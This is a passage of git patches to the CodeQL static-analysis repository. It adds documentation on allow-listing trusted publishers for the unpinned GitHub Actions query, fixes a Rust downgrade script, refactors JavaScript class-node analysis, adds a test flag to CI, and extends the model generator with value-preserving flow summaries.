019/535] Adding comprehensive docs for customizing query --- .../CWE-829/UnpinnedActionsTag-CUSTOMIZING.md | 39 +++++++++++++++++++ .../Security/CWE-829/UnpinnedActionsTag.md | 2 + 2 files changed, 41 insertions(+) create mode 100644 actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md diff --git a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md new file mode 100644 index 000000000000..1e64c2751a6f --- /dev/null +++ b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md @@ -0,0 +1,39 @@ + ### Configuration + + If there is an Action publisher that you trust, you can include the owner name/organization in a data extension model pack to add it to the allow list for this query. Adding owners to this list will prevent security alerts when using unpinned tags for Actions published by that owner. + + #### Example + + To allow any Action from the publisher `octodemo`, such as `octodemo/3rd-party-action`, follow these steps: + + 1. Create a data extension file `/models/trusted-owner.model.yml` with the following content: + + ```yaml + extensions: + - addsTo: + pack: codeql/actions-all + extensible: trustedActionsOwnerDataModel + data: + - ["octodemo"] + ``` + + 2. Create a model pack file `/codeql-pack.yml` with the following content: + + ```yaml + name: my-org/actions-extensions-model-pack + version: 0.0.0 + library: true + extensionTargets: + codeql/actions-all: '*' + dataExtensions: + - models/**/*.yml + ``` + + 3. Ensure that the model pack is included in your CodeQL analysis. + + By following these steps, you will add `octodemo` to the list of trusted Action publishers, and the query will no longer generate security alerts for unpinned tags from this publisher. + + ## References + - [Extending CodeQL coverage with CodeQL model packs in default setup](https://docs.github.com/en/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-codeql-coverage-with-codeql-model-packs-in-default-setup) + - [Creating and working with CodeQL packs](https://docs.github.com/en/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack) + - [Customizing library models for GitHub Actions](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-actions/) diff --git a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md index f8ea2fdc82fe..7b0749349a7f 100644 --- a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md +++ b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md @@ -8,6 +8,8 @@ Using a tag for a 3rd party Action that is not pinned to a commit can lead to ex Pinning an action to a full length commit SHA is currently the only way to use a non-immutable action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. When selecting a SHA, you should verify it is from the action's repository and not a repository fork. +See the [`UnpinnedActionsTag-CUSTOMIZING.md`](https://github.com/github/codeql/blob/main/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of Action publishers trusted by this query. + ## Examples ### Incorrect Usage From 6ecaf6513218d6814ed5310e88e55f5b911ba9f1 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 30 Apr 2025 16:38:13 +0200 Subject: [PATCH 020/535] Rust: fix downgrade script --- .../old.dbscheme | 10 ++++++++-- .../rust.dbscheme | 0 .../upgrade.properties | 5 +++++ .../downgrade.ql | 7 ------- .../upgrade.properties | 4 ---- 5 files changed, 13 insertions(+), 13 deletions(-) rename rust/downgrades/{f78cb8f2ab3bafb0d116cd8128f0315db24aea33 => 7b74969ab7ac48b2c51700c62e5a51decca392ea}/old.dbscheme (99%) rename rust/downgrades/{f78cb8f2ab3bafb0d116cd8128f0315db24aea33 => 7b74969ab7ac48b2c51700c62e5a51decca392ea}/rust.dbscheme (100%) create mode 100644 rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/upgrade.properties delete mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql delete mode 100644 rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme b/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/old.dbscheme similarity index 99% rename from rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme rename to rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/old.dbscheme index f78cb8f2ab3b..7b74969ab7ac 100644 --- a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/old.dbscheme +++ b/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/old.dbscheme @@ -1960,9 +1960,9 @@ infer_type_reprs( ; #keyset[id] -item_expandeds( +item_attribute_macro_expansions( int id: @item ref, - int expanded: @ast_node ref + int attribute_macro_expansion: @macro_items ref ); @labelable_expr = @@ -3088,6 +3088,12 @@ macro_call_token_trees( int token_tree: @token_tree ref ); +#keyset[id] +macro_call_macro_call_expansions( + int id: @macro_call ref, + int macro_call_expansion: @ast_node ref +); + macro_defs( unique int id: @macro_def ); diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme b/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/rust.dbscheme similarity index 100% rename from rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/rust.dbscheme rename to rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/rust.dbscheme diff --git a/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/upgrade.properties b/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/upgrade.properties new file mode 100644 index 000000000000..13860dac419a --- /dev/null +++ b/rust/downgrades/7b74969ab7ac48b2c51700c62e5a51decca392ea/upgrade.properties @@ -0,0 +1,5 @@ +description: Rename `macro_call_expansion` to `expanded`, and remove `attribute_macro_expansion` +compatibility: backwards +macro_call_expandeds.rel: reorder macro_call_macro_call_expansions.rel (@macro_call id, @ast_node expanded) id expanded +macro_call_macro_call_expansions.rel: delete +item_attribute_macro_expansions.rel: delete diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql deleted file mode 100644 index 562e773383f3..000000000000 --- a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/downgrade.ql +++ /dev/null @@ -1,7 +0,0 @@ -class Element extends @element { - string toString() { none() } -} - -query predicate new_macro_call_expandeds(Element id, Element expanded) { - item_expandeds(id, expanded) and macro_calls(id) -} diff --git a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties b/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties deleted file mode 100644 index aa90ec62fc39..000000000000 --- a/rust/downgrades/f78cb8f2ab3bafb0d116cd8128f0315db24aea33/upgrade.properties +++ /dev/null @@ -1,4 +0,0 @@ -description: Move `expanded` back from all `@item`s to `@macro_call`s only -compatibility: backwards -item_expandeds.rel: delete -macro_call_expandeds.rel: run downgrade.ql new_macro_call_expandeds From e9ee7134ef07de977e3caa6885fd837ebe697de7 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 13:32:36 +0200 Subject: [PATCH 021/535] Refactor prototype reference retrieval in ClassNode and update expected test output --- .../lib/semmle/javascript/dataflow/Nodes.qll | 36 ++++++++++--------- .../CallGraphs/AnnotatedTest/Test.expected | 2 -- .../library-tests/ClassNode/tests.expected | 1 + 3 files changed, 21 insertions(+), 18 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 527031950ec3..5f1b647f9bb6 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1233,7 +1233,7 @@ module ClassNode { private DataFlow::SourceNode getAFunctionValueWithPrototype(AbstractValue func) { exists(result.getAPropertyReference("prototype")) and result.analyze().getAValue() = pragma[only_bind_into](func) and - func instanceof AbstractFunction // the join-order goes bad if `func` has type `AbstractFunction`. + func instanceof AbstractCallable // the join-order goes bad if `func` has type `AbstractFunction`. } /** @@ -1413,22 +1413,26 @@ module ClassNode { * Only applies to function-style classes. */ DataFlow::SourceNode getAPrototypeReference() { - ( - exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | - result = base.getAPropertyRead("prototype") - or - result = base.getAPropertySource("prototype") - ) + exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | + result = base.getAPropertyRead("prototype") or - exists(string name | - this = AccessPath::getAnAssignmentTo(name) and - result = getAPrototypeReferenceInFile(name, this.getFile()) - ) - or - exists(ExtendCall call | - call.getDestinationOperand() = this.getAPrototypeReference() and - result = call.getASourceOperand() - ) + result = base.getAPropertySource("prototype") + ) + or + exists(string name | + this = AccessPath::getAnAssignmentTo(name) and + result = getAPrototypeReferenceInFile(name, this.getFile()) + ) + or + exists(string name, DataFlow::SourceNode root | + result = + AccessPath::getAReferenceOrAssignmentTo(root, name + ".prototype").getALocalSource() and + this = AccessPath::getAnAssignmentTo(root, name) + ) + or + exists(ExtendCall call | + call.getDestinationOperand() = this.getAPrototypeReference() and + result = call.getASourceOperand() ) } diff --git a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected index e6532c0816f1..0abd563b4193 100644 --- a/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected +++ b/javascript/ql/test/library-tests/CallGraphs/AnnotatedTest/Test.expected @@ -2,8 +2,6 @@ spuriousCallee missingCallee | constructor-field.ts:40:5:40:14 | f3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | | constructor-field.ts:71:1:71:11 | bf3.build() | constructor-field.ts:13:3:13:12 | build() {} | -1 | calls | -| prototypes.js:96:5:96:15 | this.read() | prototypes.js:104:27:104:39 | function() {} | -1 | calls | -| prototypes.js:96:5:96:15 | this.read() | prototypes.js:109:27:109:39 | function() {} | -1 | calls | badAnnotation accessorCall | accessors.js:12:1:12:5 | obj.f | accessors.js:5:8:5:12 | () {} | diff --git a/javascript/ql/test/library-tests/ClassNode/tests.expected b/javascript/ql/test/library-tests/ClassNode/tests.expected index 687118ffa0bf..1337e0c56942 100644 --- a/javascript/ql/test/library-tests/ClassNode/tests.expected +++ b/javascript/ql/test/library-tests/ClassNode/tests.expected @@ -15,6 +15,7 @@ getAReceiverNode | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:4:17:4:16 | this | | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:7:6:7:5 | this | | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:9:10:9:9 | this | +| tst.js:3:9:3:8 | () {} | tst.js:3:9:3:8 | this | | tst.js:13:1:13:21 | class A ... ds A {} | tst.js:13:20:13:19 | this | | tst.js:15:1:15:15 | function B() {} | tst.js:15:1:15:0 | this | | tst.js:15:1:15:15 | function B() {} | tst.js:17:19:17:18 | this | From 7fec3aec95bc17be3425d40a9912797f232502d5 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Tue, 29 Apr 2025 13:43:06 +0200 Subject: [PATCH 022/535] Renamed `FunctionStyleClass` class to `StandardClassNode` --- javascript/ql/lib/semmle/javascript/ApiGraphs.qll | 2 +- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 4 ++-- .../ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll | 2 +- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll index 974fdd7c0cbf..423c0f5ed1b0 100644 --- a/javascript/ql/lib/semmle/javascript/ApiGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/ApiGraphs.qll @@ -1236,7 +1236,7 @@ module API { exists(DataFlow::ClassNode cls | nd = MkClassInstance(cls) | ref = cls.getAReceiverNode() or - ref = cls.(DataFlow::ClassNode::FunctionStyleClass).getAPrototypeReference() + ref = cls.(DataFlow::ClassNode::StandardClassNode).getAPrototypeReference() ) or nd = MkUse(ref) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 5f1b647f9bb6..22e8511509a1 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -1240,11 +1240,11 @@ module ClassNode { * A function definition, targeted by a `new`-call or with prototype manipulation, seen as a `ClassNode` instance. * Or An ES6 class as a `ClassNode` instance. */ - class FunctionStyleClass extends Range, DataFlow::ValueNode { + class StandardClassNode extends Range, DataFlow::ValueNode { override AST::ValueNode astNode; AbstractCallable function; - FunctionStyleClass() { + StandardClassNode() { // ES6 class case astNode instanceof ClassDefinition and function.(AbstractClass).getClass() = astNode diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll index 541e3a6f3e90..44f827ddf3d3 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll @@ -254,7 +254,7 @@ module CallGraph { not exists(DataFlow::ClassNode cls | node = cls.getConstructor().getReceiver() or - node = cls.(DataFlow::ClassNode::FunctionStyleClass).getAPrototypeReference() + node = cls.(DataFlow::ClassNode::StandardClassNode).getAPrototypeReference() ) } From 5bc962c429b3576b2747f2d7d8e34eb0cf2c69c1 Mon Sep 17 00:00:00 2001 From: Chuan-kai Lin Date: Wed, 30 Apr 2025 10:55:58 -0700 Subject: [PATCH 023/535] QL tests: run with --check-diff-informed --- .github/workflows/csharp-qltest.yml | 2 +- .github/workflows/ruby-qltest-rtjo.yml | 2 +- .github/workflows/ruby-qltest.yml | 2 +- go/Makefile | 4 ++-- ruby/Makefile | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/.github/workflows/csharp-qltest.yml b/.github/workflows/csharp-qltest.yml index c24b8d3bc007..c8683eec02dd 100644 --- a/.github/workflows/csharp-qltest.yml +++ b/.github/workflows/csharp-qltest.yml @@ -66,6 +66,6 @@ jobs: # Update existing stubs in the repo with the freshly generated ones mv "$STUBS_PATH/output/stubs/_frameworks" ql/test/resources/stubs/ git status - codeql test run --threads=0 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-repeated-labels --check-redefined-labels --consistency-queries ql/consistency-queries -- ql/test/library-tests/dataflow/flowsources/aspremote + codeql test run --threads=0 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-repeated-labels --check-redefined-labels --consistency-queries ql/consistency-queries -- ql/test/library-tests/dataflow/flowsources/aspremote env: GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/ruby-qltest-rtjo.yml b/.github/workflows/ruby-qltest-rtjo.yml index d7d1724cd4b6..c2ae9c0cef19 100644 --- a/.github/workflows/ruby-qltest-rtjo.yml +++ b/.github/workflows/ruby-qltest-rtjo.yml @@ -35,6 +35,6 @@ jobs: key: ruby-qltest - name: Run QL tests run: | - codeql test run --dynamic-join-order-mode=all --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" + codeql test run --dynamic-join-order-mode=all --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" env: GITHUB_TOKEN: ${{ github.token }} diff --git a/.github/workflows/ruby-qltest.yml b/.github/workflows/ruby-qltest.yml index 224e1c129b4f..d1518205dab9 100644 --- a/.github/workflows/ruby-qltest.yml +++ b/.github/workflows/ruby-qltest.yml @@ -68,6 +68,6 @@ jobs: key: ruby-qltest - name: Run QL tests run: | - codeql test run --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" + codeql test run --threads=0 --ram 50000 --search-path "${{ github.workspace }}" --check-databases --check-diff-informed --check-undefined-labels --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --consistency-queries ql/consistency-queries ql/test --compilation-cache "${{ steps.query-cache.outputs.cache-dir }}" env: GITHUB_TOKEN: ${{ github.token }} diff --git a/go/Makefile b/go/Makefile index 5bf6d70e0e69..b05ffaea4708 100644 --- a/go/Makefile +++ b/go/Makefile @@ -54,9 +54,9 @@ ql/lib/go.dbscheme.stats: ql/lib/go.dbscheme build/stats/src.stamp extractor codeql dataset measure -o $@ build/stats/database/db-go test: all build/testdb/check-upgrade-path - codeql test run -j0 ql/test --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) + codeql test run -j0 ql/test --search-path .. --check-diff-informed --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) # use GOOS=linux because GOOS=darwin GOARCH=386 is no longer supported - env GOOS=linux GOARCH=386 codeql$(EXE) test run -j0 ql/test/query-tests/Security/CWE-681 --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) + env GOOS=linux GOARCH=386 codeql$(EXE) test run -j0 ql/test/query-tests/Security/CWE-681 --search-path .. --check-diff-informed --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo) cd extractor; $(BAZEL) test ... bash extractor-smoke-test/test.sh || (echo "Extractor smoke test FAILED"; exit 1) diff --git a/ruby/Makefile b/ruby/Makefile index 23333b494f4e..ddaca6534fbd 100644 --- a/ruby/Makefile +++ b/ruby/Makefile @@ -65,4 +65,4 @@ extractor: $(FILES) $(BIN_FILES) cp ../target/release/codeql-extractor-ruby$(EXE) extractor-pack/tools/$(CODEQL_PLATFORM)/extractor$(EXE) test: extractor dbscheme - codeql test run --check-databases --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --search-path .. --consistency-queries ql/consistency-queries ql/test + codeql test run --check-databases --check-diff-informed --check-unused-labels --check-repeated-labels --check-redefined-labels --check-use-before-definition --search-path .. --consistency-queries ql/consistency-queries ql/test From 607a1e46dae1ad4169b8ff7f76e453c3598e91c2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Mon, 28 Apr 2025 20:02:44 +0100 Subject: [PATCH 024/535] Shared: Generate value-preserving summaries when possible. --- .../internal/ModelGeneratorImpl.qll | 191 +++++++++++++----- .../modelgenerator/internal/ModelPrinting.qll | 8 +- 2 files changed, 150 insertions(+), 49 deletions(-) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index b9592964f931..1856908206f2 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -11,6 +11,7 @@ private import codeql.dataflow.internal.ContentDataFlowImpl private import codeql.dataflow.internal.DataFlowImplCommon as DataFlowImplCommon private import codeql.util.Location private import ModelPrinting +private import codeql.util.Unit /** * Provides language-specific model generator parameters. @@ -464,14 +465,22 @@ module MakeModelGenerator< override string toString() { result = "TaintStore(" + step + ")" } } - /** - * A data flow configuration for tracking flow through APIs. - * The sources are the parameters of an API and the sinks are the return values (excluding `this`) and parameters. - * - * This can be used to generate Flow summaries for APIs from parameter to return. - */ - private module PropagateFlowConfig implements DataFlow::StateConfigSig { - class FlowState = TaintState; + private signature module PropagateFlowConfigInputSig { + class FlowState; + + FlowState initialState(); + + default predicate isAdditionalFlowStep( + DataFlow::Node node1, FlowState state1, DataFlow::Node node2, FlowState state2 + ) { + none() + } + } + + private module PropagateFlowConfig + implements DataFlow::StateConfigSig + { + import PropagateFlowConfigInput predicate isSource(DataFlow::Node source, FlowState state) { source instanceof DataFlow::ParameterNode and @@ -480,7 +489,7 @@ module MakeModelGenerator< c instanceof DataFlowSummaryTargetApi and not isUninterestingForHeuristicDataFlowModels(c) ) and - state.(TaintRead).getStep() = 0 + state = initialState() } predicate isSink(DataFlow::Node sink, FlowState state) { @@ -494,6 +503,31 @@ module MakeModelGenerator< not exists(captureQualifierFlow(getAsExprEnclosingCallable(sink))) } + predicate isAdditionalFlowStep = PropagateFlowConfigInput::isAdditionalFlowStep/4; + + predicate isBarrier(DataFlow::Node n) { + exists(Type t | t = n.(NodeExtended).getType() and not isRelevantType(t)) + } + + DataFlow::FlowFeature getAFeature() { + result instanceof DataFlow::FeatureEqualSourceSinkCallContext + } + } + + /** + * A module used to construct a data flow configuration for tracking taint- + * flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. + */ + module PropagateFlowConfigInputTaintInput implements PropagateFlowConfigInputSig { + class FlowState = TaintState; + + FlowState initialState() { result.(TaintRead).getStep() = 0 } + predicate isAdditionalFlowStep( DataFlow::Node node1, FlowState state1, DataFlow::Node node2, FlowState state2 ) { @@ -515,51 +549,107 @@ module MakeModelGenerator< state1.(TaintRead).getStep() + 1 = state2.(TaintRead).getStep() ) } + } - predicate isBarrier(DataFlow::Node n) { - exists(Type t | t = n.(NodeExtended).getType() and not isRelevantType(t)) - } + /** + * A data flow configuration for tracking taint-flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. + */ + private module PropagateTaintFlowConfig = + PropagateFlowConfig; - DataFlow::FlowFeature getAFeature() { - result instanceof DataFlow::FeatureEqualSourceSinkCallContext - } + module PropagateTaintFlow = TaintTracking::GlobalWithState; + + /** + * A module used to construct a data flow configuration for tracking + * data flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate value-preserving flow summaries for APIs + * from parameter to return. + */ + module PropagateFlowConfigInputDataFlowInput implements PropagateFlowConfigInputSig { + class FlowState = Unit; + + FlowState initialState() { any() } } - module PropagateFlow = TaintTracking::GlobalWithState; + /** + * A data flow configuration for tracking data flow through APIs. + * The sources are the parameters of an API and the sinks are the return + * values (excluding `this`) and parameters. + * + * This can be used to generate flow summaries for APIs from parameter to + * return. + */ + private module PropagateDataFlowConfig = + PropagateFlowConfig; + + module PropagateDataFlow = DataFlow::GlobalWithState; /** - * Gets the summary model(s) of `api`, if there is flow from parameters to return value or parameter. + * Holds if there should be a summary of `api` specifying flow from `p` + * to `returnNodeExt`. */ - string captureThroughFlow0( + predicate captureThroughFlow0( DataFlowSummaryTargetApi api, DataFlow::ParameterNode p, ReturnNodeExt returnNodeExt ) { - exists(string input, string output | - getEnclosingCallable(p) = api and - getEnclosingCallable(returnNodeExt) = api and - input = parameterNodeAsInput(p) and - output = getOutput(returnNodeExt) and - input != output and - result = ModelPrinting::asLiftedTaintModel(api, input, output) - ) + captureThroughFlow0(api, p, _, returnNodeExt, _, _) + } + + /** + * Holds if there should be a summary of `api` specifying flow + * from `p` (with summary component `input`) to `returnNodeExt` (with + * summary component `output`). + * + * `preservesValue` is true if the summary is value-preserving, or `false` + * otherwise. + */ + private predicate captureThroughFlow0( + DataFlowSummaryTargetApi api, DataFlow::ParameterNode p, string input, + ReturnNodeExt returnNodeExt, string output, boolean preservesValue + ) { + ( + PropagateDataFlow::flow(p, returnNodeExt) and preservesValue = true + or + not PropagateDataFlow::flow(p, returnNodeExt) and + PropagateTaintFlow::flow(p, returnNodeExt) and + preservesValue = false + ) and + getEnclosingCallable(p) = api and + getEnclosingCallable(returnNodeExt) = api and + input = parameterNodeAsInput(p) and + output = getOutput(returnNodeExt) and + input != output } /** * Gets the summary model(s) of `api`, if there is flow from parameters to return value or parameter. + * + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - private string captureThroughFlow(DataFlowSummaryTargetApi api) { - exists(DataFlow::ParameterNode p, ReturnNodeExt returnNodeExt | - PropagateFlow::flow(p, returnNodeExt) and - result = captureThroughFlow0(api, p, returnNodeExt) + private string captureThroughFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { + exists(string input, string output | + preservesValue = max(boolean b | captureThroughFlow0(api, _, input, _, output, b)) and + result = ModelPrinting::asLiftedTaintModel(api, input, output, preservesValue) ) } /** * Gets the summary model(s) of `api`, if there is flow from parameters to the * return value or parameter or if `api` is a fluent API. + * + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. */ - string captureFlow(DataFlowSummaryTargetApi api) { - result = captureQualifierFlow(api) or - result = captureThroughFlow(api) + string captureHeuristicFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { + result = captureQualifierFlow(api) and preservesValue = true + or + result = captureThroughFlow(api, preservesValue) } /** @@ -569,7 +659,7 @@ module MakeModelGenerator< */ string captureNoFlow(DataFlowSummaryTargetApi api) { not exists(DataFlowSummaryTargetApi api0 | - exists(captureFlow(api0)) and api0.lift() = api.lift() + exists(captureFlow(api0, _)) and api0.lift() = api.lift() ) and api.isRelevant() and result = ModelPrinting::asNeutralSummaryModel(api) @@ -1024,12 +1114,13 @@ module MakeModelGenerator< /** * Gets the content based summary model(s) of the API `api` (if there is flow from a parameter to * the return value or a parameter). `lift` is true, if the model should be lifted, otherwise false. + * `preservesValue` is `true` if the summary is value-preserving, and `false` otherwise. * * Models are lifted to the best type in case the read and store access paths do not * contain a field or synthetic field access. */ - string captureFlow(ContentDataFlowSummaryTargetApi api, boolean lift) { - exists(string input, string output, boolean preservesValue | + string captureFlow(ContentDataFlowSummaryTargetApi api, boolean lift, boolean preservesValue) { + exists(string input, string output | captureFlow0(api, input, output, _, lift) and preservesValue = max(boolean p | captureFlow0(api, input, output, p, lift)) and result = ContentModelPrinting::asModel(api, input, output, preservesValue, lift) @@ -1046,17 +1137,25 @@ module MakeModelGenerator< * generate flow summaries using the heuristic based summary generator. */ string captureFlow(DataFlowSummaryTargetApi api, boolean lift) { - result = ContentSensitive::captureFlow(api, lift) - or - not exists(DataFlowSummaryTargetApi api0 | - (api0 = api or api.lift() = api0) and - exists(ContentSensitive::captureFlow(api0, false)) + exists(boolean preservesValue | + result = ContentSensitive::captureFlow(api, lift, preservesValue) or - api0.lift() = api.lift() and - exists(ContentSensitive::captureFlow(api0, true)) - ) and - result = Heuristic::captureFlow(api) and - lift = true + not exists(DataFlowSummaryTargetApi api0 | + // If the heuristic summary is value-preserving then we keep both + // summaries. However, if we can generate any content-sensitive + // summary (value-preserving or not) then we don't include any taint- + // based heuristic summary. + preservesValue = false + | + (api0 = api or api.lift() = api0) and + exists(ContentSensitive::captureFlow(api0, false, _)) + or + api0.lift() = api.lift() and + exists(ContentSensitive::captureFlow(api0, true, _)) + ) and + result = Heuristic::captureHeuristicFlow(api, preservesValue) and + lift = true + ) } /** diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll index 0ab92f7032b4..0bce2ed50d17 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll @@ -86,9 +86,11 @@ module ModelPrintingImpl { /** * Gets the lifted taint summary model for `api` with `input` and `output`. */ - bindingset[input, output] - string asLiftedTaintModel(Printing::SummaryApi api, string input, string output) { - result = asModel(api, input, output, false, true) + bindingset[input, output, preservesValue] + string asLiftedTaintModel( + Printing::SummaryApi api, string input, string output, boolean preservesValue + ) { + result = asModel(api, input, output, preservesValue, true) } /** From cd4737970000ce235be368c9a2bb0fb31de2317a Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Tue, 29 Apr 2025 13:18:01 +0100 Subject: [PATCH 025/535] C#: Fixup queries and accept test changes. --- .../CaptureContentSummaryModels.ql | 2 +- .../debug/CaptureSummaryModelsPartialPath.ql | 2 +- .../debug/CaptureSummaryModelsPath.ql | 10 ++-- .../dataflow/CaptureContentSummaryModels.ql | 2 +- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- .../modelgenerator/dataflow/Summaries.cs | 46 +++++++++---------- 6 files changed, 32 insertions(+), 32 deletions(-) diff --git a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql index 039c96a9a0bc..c108029e3df3 100644 --- a/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql +++ b/csharp/ql/src/utils/modelgenerator/CaptureContentSummaryModels.ql @@ -9,5 +9,5 @@ import internal.CaptureModels from DataFlowSummaryTargetApi api, string flow -where flow = ContentSensitive::captureFlow(api, _) +where flow = ContentSensitive::captureFlow(api, _, _) select flow order by flow diff --git a/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql b/csharp/ql/src/utils/modelgenerator/debug/CaptureSummaryModelsPartialPath.ql index beb14cd8e627..979a129e5652 100644 --- 